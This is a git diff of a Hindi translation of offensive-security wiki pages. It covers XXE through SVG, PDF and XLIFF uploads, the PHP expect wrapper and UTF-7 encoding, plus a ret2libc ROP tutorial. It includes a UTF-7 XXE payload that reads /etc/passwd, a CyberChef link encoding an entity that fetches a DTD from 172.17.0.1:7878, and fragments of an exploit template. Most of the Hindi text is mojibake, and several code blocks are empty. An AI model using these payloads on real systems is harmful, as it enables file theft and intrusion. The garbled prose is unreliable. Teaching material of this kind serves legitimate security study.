рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдк рдЬреИрд╕реЗ рдХрд╛рд░реНрдпрд╛рд▓рдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ (DOCX) рдФрд░ рдЪрд┐рддреНрд░ (SVG) XML рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред -рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдЪрд┐рддреНрд░ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ**, рддреЛ рдЗрди рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдпрд╛ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ PNG рдпрд╛ JPEG рдЬреИрд╕реЗ рд╕реНрд╡рд░реВрдкреЛрдВ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддреЗ рд╣реИрдВ, **рд╕рд░реНрд╡рд░ рдХреА рдЪрд┐рддреНрд░ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рд▓рд╛рдЗрдмреНрд░реЗрд░реА SVG рдЪрд┐рддреНрд░реЛрдВ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддреА рд╣реИ**ред SVG, рдПрдХ XML-рдЖрдзрд╛рд░рд┐рдд рд╕реНрд╡рд░реВрдк рд╣реЛрдиреЗ рдХреЗ рдирд╛рддреЗ, рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг SVG рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ XXE (XML External Entity) рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдкреНрд░рддрд┐ рдЙрдЬрд╛рдЧрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдЪрд┐рддреНрд░ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ**, рддреЛ рдЗрди рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдпрд╛ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ PNG рдпрд╛ JPEG рдЬреИрд╕реЗ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддреЗ рд╣реИрдВ, **рд╕рд░реНрд╡рд░ рдХреА рдЫрд╡рд┐ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдкреБрд╕реНрддрдХрд╛рд▓рдп SVG рдЪрд┐рддреНрд░реЛрдВ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддреА рд╣реИ**ред SVG, рдПрдХ XML-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рд╛рд░реВрдк рд╣реЛрдиреЗ рдХреЗ рдирд╛рддреЗ, рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг SVG рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ XXE (XML External Entity) рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдкреНрд░рддрд┐ рдЙрдЬрд╛рдЧрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -рдРрд╕реЗ рдПрдХ рд╣рдорд▓реЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг SVG рдЪрд┐рддреНрд░ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ: +рдРрд╕реЗ рдПрдХ рд╣рдорд▓реЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг SVG рдЪрд┐рддреНрд░ рдкреНрд░рдгрд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ: ```xml ``` -рдПрдХ рдФрд░ рд╡рд┐рдзрд┐ рдореЗрдВ PHP "expect" wrapper рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ: +рдПрдХ рдФрд░ рд╡рд┐рдзрд┐ рдореЗрдВ PHP "expect" wrapper рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ: ```xml @@ -336,19 +336,19 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec ``` SVG рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЛрдиреЛрдВ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЙрди рд╣рдорд▓реЛрдВ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА XML рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ, рдЬреЛ рдордЬрдмреВрдд рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) рджреЗрдЦреЗрдВ! +рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) рдкрд░ рдЬрд╛рдПрдВ! **рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрдврд╝реА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреА рдкрд╣рд▓реА рдкрдВрдХреНрддрд┐ рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧреА рдЬреЛ рдмрдирд╛рдИ рдЧрдИ рдЫрд╡рд┐ рдХреЗ рдЕрдВрджрд░ рд╣реЛрдЧреАред рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрд╕ рдЫрд╡рд┐ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ SVG рдиреЗ рдмрдирд╛рдИ рд╣реИред** ### **PDF - рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб** -**рдПрдХ PDF рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╕рдордп XXE рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрдврд╝реЗрдВ:** +**XXE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ PDF рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЛрд╕реНрдЯ рдкрдврд╝реЗрдВ:** {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}} -### рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░: x-www-urlencoded рд╕реЗ XML рддрдХ +### рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░: x-www-urlencoded рд╕реЗ XML рддрдХ рдпрджрд┐ рдПрдХ POST рдЕрдиреБрд░реЛрдз XML рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдбреЗрдЯрд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрд╕ рдЕрдиреБрд░реЛрдз рдореЗрдВ XXE рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрд░реЛрдз рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢рд╛рдорд┐рд▓ рд╣реИ: ```xml @@ -404,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8 ```xml %init; ]> ``` -рдпрд╣ рдХреЗрд╡рд▓ рддрднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм XML рд╕рд░реНрд╡рд░ `data://` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИред +рдпрд╣ рдХреЗрд╡рд▓ рддрднреА рдХрд╛рдо рдХрд░реЗрдЧрд╛ рдЬрдм XML рд╕рд░реНрд╡рд░ `data://` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗред ### UTF-7 -рдЖрдк рдпрд╣рд╛рдБ \[**"Encode Recipe**" of cyberchef] \(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) рдХреЛ UTF-7 рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдпрд╣рд╛рдБ \[**"Encode Recipe**" of cyberchef] \(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ UTF-7 рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -430,7 +430,7 @@ Content-Type: application/xml;charset=UTF-8 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) рд╕реЗ рдЯреНрд░рд┐рдХ\ рдЖрдк рдПрдХ **entity inside an entity** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕реЗ **html entities** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреЛрдб рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ **dtd** рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ **HTML Entities** **numeric** рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдЬреИрд╕реЗ \[рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ **HTML Entities** **рд╕рдВрдЦреНрдпрд╛рддреНрдордХ** рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдЬреИрд╕реЗ \[рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> @@ -480,7 +480,7 @@ XLIFF (XML Localization Interchange File Format) рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реН ### Blind Request Analysis -рд╕рд░реНрд╡рд░ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдПрдХ рдЕрдиреБрд░реЛрдз рд╕рд░реНрд╡рд░ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреБрд░реЛрдз рдПрдХ рдЖрдВрддрд░рд┐рдХ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдорд╛рд░реНрдХрдЕрдк рдШреЛрд╖рдгрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рддрд╛ рд╣реИ: +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреБрд░реЛрдз рдПрдХ рдЖрдВрддрд░рд┐рдХ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдорд╛рд░реНрдХрдЕрдк рдШреЛрд╖рдгрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рддреЗ рд╣реБрдП: ```json { "status": 500, @@ -542,7 +542,7 @@ XXE рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП RSS ### Ping back -рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд░рд▓ HTTP рдЕрдиреБрд░реЛрдз +рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рд░рд▓ HTTP рдЕрдиреБрд░реЛрдз ```xml @@ -671,6 +671,10 @@ XMLDecoder рдПрдХ Java рдХреНрд▓рд╛рд╕ рд╣реИ рдЬреЛ XML рд╕рдВрджреЗрд╢ рдХреЗ ``` +## XXE + WrapWrap + Lightyear + bypasses + +рдЗрд╕ рдЕрджреНрднреБрдд рд░рд┐рдкреЛрд░реНрдЯ рдХреЛ рджреЗрдЦреЗрдВ [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/) + ## Tools {{#ref}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md index 405d9dae6..a679109b1 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md @@ -5,13 +5,13 @@ ## рддреНрд╡рд░рд┐рдд рд╕рд╛рд░рд╛рдВрд╢ 1. **рдУрд╡рд░рдлреНрд▓реЛ** **рдСрдлрд╕реЗрдЯ** рдЦреЛрдЬреЗрдВ -2. **POP_RDI** рдЧреИрдЬреЗрдЯ, `PUTS_PLT` рдФрд░ `MAIN` рдЦреЛрдЬреЗрдВ -3. рдкрд┐рдЫрд▓реЗ рдЧреИрдЬреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **puts рдпрд╛ рдЕрдиреНрдп libc рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдореЗрдореЛрд░реА рдкрддрд╛ рд▓реАрдХ рдХрд░реЗрдВ** рдФрд░ **libc рд╕рдВрд╕реНрдХрд░рдг рдЦреЛрдЬреЗрдВ** ([donwload it](https://libc.blukat.me)) +2. **`POP_RDI`** рдЧреИрдЬреЗрдЯ, **`PUTS_PLT`** рдФрд░ **`MAIN`** рдЦреЛрдЬреЗрдВ +3. рдкрд┐рдЫрд▓реЗ рдЧреИрдЬреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ **рдкреБрдЯреНрд╕ рдпрд╛ рдЕрдиреНрдп libc рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдореЗрдореЛрд░реА рдкрддрд╛ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдФрд░ **libc рд╕рдВрд╕реНрдХрд░рдг рдЦреЛрдЬреЗрдВ** ([рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ](https://libc.blukat.me)) 4. рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд╕рд╛рде, **ROP рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВ** ## рдЕрднреНрдпрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдФрд░ рдмрд╛рдЗрдирд░реА -рдпрд╣ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдореЗрдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХреЛрдб/рдмрд╛рдЗрдирд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдЧрд╛: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +рдпрд╣ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдореЗрдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХреЛрдб/рдмрд╛рдЗрдирд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧреА рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) ## рдХреЛрдб @@ -34,7 +34,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` ## ROP - LIBC рд▓реАрдХ рдХрд░рдиреЗ рдХрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯ -рдореИрдВ рдЗрд╕ рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реВрдБред\ +рдореИрдВ рдпрд╣рд╛рдБ рд╕реНрдерд┐рдд рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реВрдБред\ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдХрдордЬреЛрд░ рдмрд╛рдЗрдирд░реА рдХреЗ рд╕рдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд░рдЦреЗрдВ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЖрд╡рд╢реНрдпрдХ рдбреЗрдЯрд╛ рджреЗрдВ: {{#ref}} @@ -58,14 +58,14 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ** `python template.py` рдПрдХ GDB рдХрдВрд╕реЛрд▓ рдЦреЛрд▓рд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛ рд░рд╣рд╛ рд╣реИред рдЙрд╕ **GDB рдХрдВрд╕реЛрд▓** рдХреЗ рдЕрдВрджрд░ `x/wx $rsp` рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ **рдмрд╛рдЗрдЯреНрд╕** рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗрдВ рдЬреЛ RIP рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдереЗред рдЕрдВрдд рдореЗрдВ, рдПрдХ **python** рдХрдВрд╕реЛрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдСрдлрд╕реЗрдЯ** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: +**Execute** `python template.py` рдПрдХ GDB рдХрдВрд╕реЛрд▓ рдЦреЛрд▓рд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛ рд░рд╣рд╛ рд╣реИред рдЙрд╕ **GDB рдХрдВрд╕реЛрд▓** рдХреЗ рдЕрдВрджрд░ `x/wx $rsp` рдЪрд▓рд╛рдПрдБ рддрд╛рдХрд┐ **bytes** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВ рдЬреЛ RIP рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдереЗред рдЕрдВрдд рдореЗрдВ рдПрдХ **python** рдХрдВрд╕реЛрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **offset** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: 